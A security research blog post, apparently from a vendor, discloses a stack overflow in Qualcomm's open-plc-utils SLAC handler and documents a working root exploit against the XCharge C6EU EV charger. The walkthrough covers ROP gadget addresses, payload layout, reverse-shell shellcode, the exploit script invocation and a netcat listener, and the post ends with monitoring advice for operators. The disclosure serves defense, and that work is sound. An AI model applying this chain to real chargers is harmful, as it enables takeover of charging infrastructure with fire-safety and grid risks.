Plug and Pwn: The Sound of Compromised EV Charger

Lionel Richard Saposnik
and
,
Lionel Richard Saposnik
May 2026
image of an infrastructure project

TL;DR (CVE-2026-9038)

XCharge C6 can be compromised by plugging in a malicious and sending a specially crafted SLAC message (part of the V2G protocols stack) to gain remote code execution. Any EV Charger using Qualcomm's open-plc-utils library can be compromised following the core vulnerability CVE-2025-27071.

Risk implications:

Scenario Business Impact
Fleet compromise Backdoors installed across charging network
CPO network breach Lateral movement via charger backbone connectivity
Safety incident Power and cooling systems' parameter manipulation
Supply chain attack Compromised charger infects connecting EVs

The vulnerability is in the reference implementation-many vendors are likely affected.

Technical details:

  • Stack buffer overflow in SLAC protocol handler (evse_cm_mnbc_sound())
  • Affects Qualcomm's open-plc-utils-the reference implementation for HomePlug Green PHY
  • No bounds checking: NumGroups field accepts 0-255, buffer sized for 58
  • Exploit bypasses ASLR using main binary gadgets at fixed addresses

Bottom line: Plug in, own the charger.

The CCS2 Attack Surface

Combined Charging System Type 2 - CCS2, one of the standard physical connectors and communication protocols used to charge electric vehicles (EVs)

CCS2 isn't just power delivery-it's a network interface. HomePlug Green PHY enables IP communication over the charging cable. Any device plugged into a CCS2 port can communicate with the charger's embedded controller.

For a deeper dive into the CCS2 attack surface and how vulnerable services compound this risk, see our  article on the topic next week. The Hidden CCS2 Attack Surface on EV Chargers.

The Vulnerability Context

The SLAC (Signal Level Attenuation Characterization) protocol is mandatory for CCS2 charging. It establishes the PLC link between EV and charger before any IPv6 and V2G communication occurs. This means SLAC vulnerabilities are exploitable before authentication is even possible.

We discovered that Qualcomm's open-plc-utils - the reference implementation for HomePlug SLAC - contains a stack buffer overflow that allows arbitrary code execution. We confirmed the same vulnerability exists in the XCharge C6EU firmware, demonstrating real-world exploitability.

Industry-wide implications: Most CCS2 chargers use Qualcomm PLC modem chipsets (QCA7000/QCA7005), and vendors typically adopt Qualcomm's SDK-including open-plc-utils-for SLAC protocol handling. This means the vulnerability likely affects a significant number of EV chargers across multiple manufacturers.

The CCS2 Charging Protocol Flow

Understanding when SLAC occurs is critical-the vulnerability is exploitable before IPv6 is established:

The exploit triggers during Phase 2 (SLAC), before TLS authorization can occur.

What Can a Threat Actor Do?

Once an attacker gains root access to the charger's DCB, three primary attack scenarios emerge:

Scenario Description Impact
EV-to-EV Infection Compromised charger delivers malicious payloads to connecting EVs via V2G protocol exploitation Vehicle fleet compromise, supply chain attack
Equipment Damage Disable cooling system, manipulate charging parameters, bypass safety limits Fire hazard, charger destruction, safety incidents
Energy Theft & Grid Impact Disable metering, steal energy, and coordinate charging across compromised chargers Financial fraud, billing disputes, grid destabilization

The Vulnerable Library: Qualcomm open-plc-utils

What is open-plc-utils?

open-plc-utils is Qualcomm Atheros's open-source toolkit for HomePlug powerline communication. It provides:

  • Reference implementations for HomePlug AV and Green PHY protocols
  • SLAC (Signal Level Attenuation Characterization) for EV charging
  • Tools for configuring QCA7000/QCA7005 PLC modems
  • BSD-licensed code suitable for commercial use

Repository:

Why This Matters

The BSD open-source license allows commercial adoption without attribution. This means:

  • Vendors can incorporate the code without disclosing they use it
  • Modifications are not required to be published
  • Vulnerabilities propagate silently through the supply chain
  • We cannot enumerate all affected vendors

Any EV charger using open-plc-utils or derivative code may be vulnerable.

Although the SaiFlow research team discovered the vulnerability in the latest version of Qualcomm’s open-plc-utils SDK repository, it's worth mentioning that the vulnerability was already reported before that by Shaked Delarea (CVE-2025-27071). This emphasizes that vulnerabilities propagate silently through the supply chain without clear visibility for CPOs to be able to address them.

The vulnerability still exists in both Qualcomm’s open-plc-utils repositories, at their latest versions.

The Vulnerability: Stack Buffer Overflow in SLAC

Vulnerable Function

Function: evse_cm_mnbc_sound() in slac/evse_cm_mnbc_sound.c

Root cause: No bounds checking on NumGroups field from CM_ATTEN_PROFILE.IND message

Key insight: CM_ATTEN_PROFILE.IND messages are normally generated internally by the EVSE's PLC modem during the SLAC sounding phase-not sent by the EV. However, a malicious EV can inject these messages directly over the PLC network, and the EVSE's application layer processes them without verifying their origin. This allows an attacker to send crafted messages on behalf of the PLC modem, bypassing the expected message flow.

Source Code Analysis

From the open-plc-utils repository:

// File: slac/evse_cm_mnbc_sound.c (Qualcomm Atheros)
// https://github.com/qca/open-plc-utils/blob/master/slac/evse_cm_mnbc_sound.c

signed evse_cm_mnbc_sound (struct session * session, struct channel * channel,
                           struct message * message)
{
    unsigned AAG [SLAC_GROUPS];  // SLAC_GROUPS = 58 (from slac.h)
    // ... initialization ...

    while ((length = readpacket (channel, message, sizeof (* message))) >= 0)
    {
        // ... message type handling ...

        else if (LE16TOH (homeplug->homeplug.MMTYPE) == (CM_ATTEN_PROFILE | MMTYPE_IND))
        {
            struct cm_atten_profile_indicate * indicate =
                (struct cm_atten_profile_indicate *) (message);

            // VULNERABILITY: No bounds check on indicate->NumGroups!
            // indicate->NumGroups can be 0-255, but AAG only has 58 elements
            for (session->NumGroups = 0;
                 session->NumGroups < indicate->NumGroups;  // Attacker-controlled
                 session->NumGroups++)
            {
                AAG [session->NumGroups] += indicate->AAG [session->NumGroups];
                // ^^^ OVERFLOW when NumGroups > 58!
            }
            // ...
        }
    }
}

From slac/slac.h:

#define SLAC_GROUPS 58  // Buffer sized for 58 groups only

typedef struct __packed cm_atten_profile_indicate {
    struct ethernet_hdr ethernet;
    struct homeplug_fmi homeplug;
    uint8_t PEV_MAC [ETHER_ADDR_LEN];
    uint8_t NumGroups;   // Attacker-controlled: 0-255
    uint8_t RSVD;
    uint8_t AAG [255];   // Packet can carry up to 255 groups
} cm_atten_profile_indicate;

The Bug

The buffer AAG[58] holds 58 elements (232 bytes), but the loop iterates up to indicate->NumGroups, an attacker-controlled value that can reach to 255. There is no bounds check.

Exploit Chain (XCharge Case Study)

We developed a working exploit for the XCharge C6EU to demonstrate the vulnerability's exploitability. The same technique should apply to other devices using open-plc-utils but might require ROP chain adjustments.

Stack Layout Analysis

Stack Memory Layout
▲ High addresses
Caller's frame
(additional 51 elements corrupted)
[204] ... [254] Attacker can overflow here too
Saved LR (return address) [203] ◄── HIJACKED!
Saved R11 (frame pointer) [202] ◄── HIJACKED!
Overflow region
(attacker-controlled data)
[58] ... [201] ═══ Intended boundary ═══
AAG buffer
58 elements = 232 bytes
[0] ... [57] Original buffer ends here ▲
evse_cm_mnbc_sound locals
▼ Low addresses

By setting NumGroups up to 255, an attacker can overflow up to 788 bytes beyond the buffer. Setting NumGroups = 204 is sufficient to overwrite the saved frame pointer (R11) and return address (LR). When the function returns, execution jumps to the attacker's chosen address.

ASLR-Immune ROP Chain

The exploit uses a 2-gadget ROP chain that relies only on addresses from the main binary, which is loaded at fixed address 0x8000 (not compiled as PIE). Even if ASLR is enabled on the Linux Operating System, it only randomizes shared library addresses-not the main binary. Since our gadgets come exclusively from the main binary, ASLR provides no protection.

Why we need a stack pivot: SLAC message processing is spawned in a new thread for each session. This means the stack address range varies between executions-we can't hardcode absolute shellcode addresses. The solution is to use R11 (the saved frame pointer), which always contains a valid stack address relative to the current thread. By corrupting R11 with a calculated delta, we redirect the stack pointer to our shellcode location within the overflow buffer itself.

Conveniently, the vulnerable function's own epilogue contains the perfect pivot gadget: sub sp, r11, #8; pop {r4, r11, pc}. We don't need to search for exotic gadgets-the compiler-generated code works in our favor.

# Gadget Address Instruction Purpose
1 Pivot 0xd053c sub sp, r11, #8; pop {r4, r11, pc} Redirects SP using corrupted R11
2 Execute 0xbdee9 bx sp (Thumb) Jumps directly to shellcode on stack

Execution flow

  1. Overflow corrupts R11 to point into the attacker's buffer
  2. Overflow corrupts LR to point to pivot gadget (0xd053c)
  3. Function returns ➡️ jumps to pivot gadget
  4. Pivot: SP = R11 - 8 ➡️ SP now points to attacker's payload
  5. Pivot: pop {r4, r11, pc} ➡️ PC loaded from attacker's buffer
  6. PC = 0xbdee9 (bx sp) ➡️ jumps to current SP (shellcode location)
  7. Shellcode executes as root

The Accumulation Challenge

SLAC attenuation values are accumulated, not overwritten. Each CM_ATTEN_PROFILE.IND message adds to the corresponding stack locations:

AAG[i] += message->AAG[i];  // Adds, doesn't overwrite

Constraints:

  • Each byte can only add 0-255 per message
  • Large target values (like ROP addresses) require multiple messages
  • Final deltas must be calculated based on original stack values

Example: Reaching pivot gadget address

Original LR on stack: 0xCDA9C
Target pivot address: 0xD053C
Required delta: 0x2AA0 (10,912 decimal)

SLAC Exploit Packets Strategy:

  • 42 messages with Atten[203] = 0xFF (255)
  • 1 final message with Atten[203] = 0x52

Total: 42 * 255 + 82 = 0x2AA0 (10,912)

Payload Structure

CM_ATTEN_PROFILE.IND - Final Exploit Payload
NumGroups: 204 (overflow trigger, normally max 58)
Atten[0]: Alignment padding
Atten[1-12]: ROP chain (R4, R11, PC=bx_sp gadget)
Atten[13-201]: Shellcode (NMK sync + reverse shell)
Atten[202]: R11 delta (final byte for stack pivot)
Atten[203]: LR delta (final byte for pivot gadget)

NMK Synchronization: Novel Post-Exploitation Technique

The Problem: Isolated PLC Networks

After the exploit executes, there's a critical challenge: the attacker's PEV (Plug-in Electric Vehicle) modem and the EVSE modem may be on different logical PLC networks, preventing the reverse shell from connecting back.

This happens because:

  1. SLAC creates a temporary PLC link for the handshake
  2. Before EV and Charger coordinate the NMK, each device uses a different NMK (Network Membership Key)
  3. Different NMKs = different logical networks = no TCP/IPv6 connectivity

The Solution: Shellcode-Based NMK Configuration

Our shellcode solves this by calling an existing DCB function to reconfigure the EVSE's QCA modem with the attacker's pre-defined NMK:

// Function found in DCB binary at 0xcac20
int QCA7K_CM_SET_KEY_OPERATION(
    const char* dev,      // Device name: "qca0" or "qca1"
    const char* pass,     // NMK password string
    uint8_t* nmk_out,     // Output: 16-byte NMK
    uint8_t* nid_out      // Output: 7-byte NID
);

Shellcode Execution Flow

Step Syscall / Action Purpose
1 fork() Parent exits cleanly
2 QCA7K_CM_SET_KEY(...) Set EVSE NMK = PEV NMK
3 nanosleep(3s) Wait for modem apply
4 socket(AF_INET6) Create IPv6 socket
5 connect(fe80::attacker) Connect back to PEV
6 dup2(fd, 0/1/2) Redirect stdio
7 execve("/bin/sh") Spawn root shell

NMK Synchronization Sequence

The attacker must configure their PEV modem with the same NMK (Network Management Key) password before sending the exploit. This ensures that once the shellcode sets the EVSE's NMK, both devices join the same logical PLC network and IPv6 connectivity is established.

Attack Walkthrough

Step 1: Prepare Attack Hardware

The attacker needs a SLAC-capable PEV emulator with:

  • HomePlug Green PHY modem (e.g., QCA7000/QCA7005)
  • Ability to send raw HomePlug AV frames
  • Pre-configured NMK password (e.g., "saiflow")
$ plctool -i eth1 -M "saiflow"  # Sets NMK on PEV side

Step 2: Connect and Complete SLAC Handshake

Plug the CCS2-compatible device into the charging port. The exploit script initiates SLAC:

$ python3 slac_exploit.py -i qca0 -m main_binary_only \
    --shellcode reverse_shell_ipv6_fork_setkey.bin \
    --nmk-password "saiflow" \
    --reverse-ip fe80::1234:5678:abcd:ef00 \
    --reverse-port 4444 \
    --scope-id 5

Step 3: Send Exploit Payloads (Accumulation Attack)

The exploit sends 42 packets of CM_ATTEN_PROFILE.IND (as described above) to accumulate the required values and trigger the buffer-overflow. The final message contains the ROP chain and shellcode.

Step 4: ROP Chain Executes

The overflow corrupts the stack. When evse_cm_mnbc_sound returns:

  1. LR ➡️ Pivot gadget (0xd053c): sub sp, r11, #8; pop {r4, r11, pc}
  2. SP pivots to attacker's buffer in the SLAC message
  3. PC ➡️ bx sp (0xbdee9): Jumps directly to shellcode

Step 5: Shellcode Sets NMK and Connects Back

  1. fork() - Parent exits, child continues (stealth)
  2. QCA7K_CM_SET_KEY("qca0", "HomePlugAV") - EVSE NMK now matches PEV
  3. sleep(3) - Wait for modem to apply new key
  4. socket(AF_INET6) + connect(fe80::attacker) - IPv6 reverse shell
  5. dup2() + execve("/bin/sh") - Root shell established

Step 6: Root Shell Received

On the attacker's machine, wait for the reverse shell connection with nc -l -p 4444

Now we have root access - no credentials required.

Impact Assessment

Severity Factors

Factor Value Significance
Authentication Not required Pure memory corruption
Network access Not required Physical CCS2 plug only
ASLR (Address Space Layout Randomization) bypass Yes Main binary gadgets
Reliability High Deterministic overflow + NMK sync
Affected scope Unknown open-plc-utils widely adopted

Who Is Affected?

Potentially vulnerable:

  • Any EV charger using Qualcomm open-plc-utils
  • Any derivative or forked SLAC implementation
  • Vendors who copied the vulnerable code pattern

Recommendation for CPOs

  1. Enable security monitoring - SaiFlow's platform ingests diagnostic logs from EV chargers and applies behavioral analysis to detect suspicious powerline communication patterns. This includes anomalies in SLAC message sequences, unexpected session terminations during the handshake phase, and deviations from normal charging flows that may indicate exploitation attempts
  2. Contact your charger vendor - Request the latest DCB firmware with the patched open-plc-utils library. Don't wait for public disclosure

Conclusion

A single missing bounds check. No logs. No visibility. No defense. This research exposes two critical gaps in EV charging infrastructure security:

  1. The vulnerability exists in the reference implementation - Qualcomm's open-plc-utils is widely adopted, meaning many vendors likely inherited the same bug
  2. CPOs lack visibility into this attack surface - Even when attacks occur, the evidence may not exist in logs or be accessible to security teams

The Monitoring Gap

XCharge's firmware includes diagnostic logging for SLAC communication-making detection and forensic analysis possible. However, vendors vary significantly in what visibility they provide, and more critically: OCPP monitoring alone is not sufficient.

What CPOs Need Why CSMS/OCPP Isn't Enough
SLAC message anomalies OCPP operates above the PLC layer — SLAC events aren't exposed
PLC network diagnostics Requires charger-side logging, not backend polling
Charging session correlation CSMS sees transactions, not protocol-level handshake failures
Real-time behavioral analysis Enterprise workstations have EDR and behavioral monitoring. EV chargers either lack this entirely or rely solely on OCPP telemetry

The gap: CPOs running security operations centers need dedicated EV charging security monitoring that ingests device telemetry beyond OCPP-correlating protocol anomalies, session patterns, and power metrics to detect threats that CSMS backend systems were never designed to address.

The APT Scenario

This vulnerability is well-suited for Advanced Persistent Threat (APT) operations:

  • Limited network indicators - Depending on the charger's backbone connectivity (private APN, VPN, or direct internet), C2 traffic may or may not be detectable. CPOs must design their networks to enforce egress control and log suspicious connection attempts to a security monitoring system. In the XCharge case, the DCB has no direct internet access-making traditional network monitoring ineffective entirely
  • Coordinated activation - Backdoored chargers await a trigger for synchronized action
  • Grid-level impact - Simultaneous manipulation of charging load across hundreds of chargers affecting grid stability
  • Worm propagation - A compromised charger could exploit vulnerabilities in connecting EVs, turning them into infection vectors. Each infected EV then spreads malware to every charger it visits-creating self-propagating malware that crosses fleet boundaries and CPO networks without any internet connectivity

A nation-state actor could establish presence across a CPO's fleet over months, then execute a coordinated attack during peak demand or critical events.

What CPOs Must Demand

  1. Visibility into PLC communication - Logs for SLAC handshakes, session anomalies, and protocol errors-not just OCPP transaction data
  2. Dedicated security monitoring - Purpose-built systems that analyze charger telemetry for threat detection, separate from operational CSMS
  3. Power consumption correlation - Cross-reference charging metrics with grid metering to detect manipulation
  4. Network architecture controls - Enforce egress policies, segment charger networks, and forward connection logs to a central security monitoring system
  5. Forensic capability - Persistent logs that survive reboots, with tamper-proofing or cryptographic signatures to prevent attackers from erasing their traces

The charging port is a blind spot. Demand visibility.

Table of Contents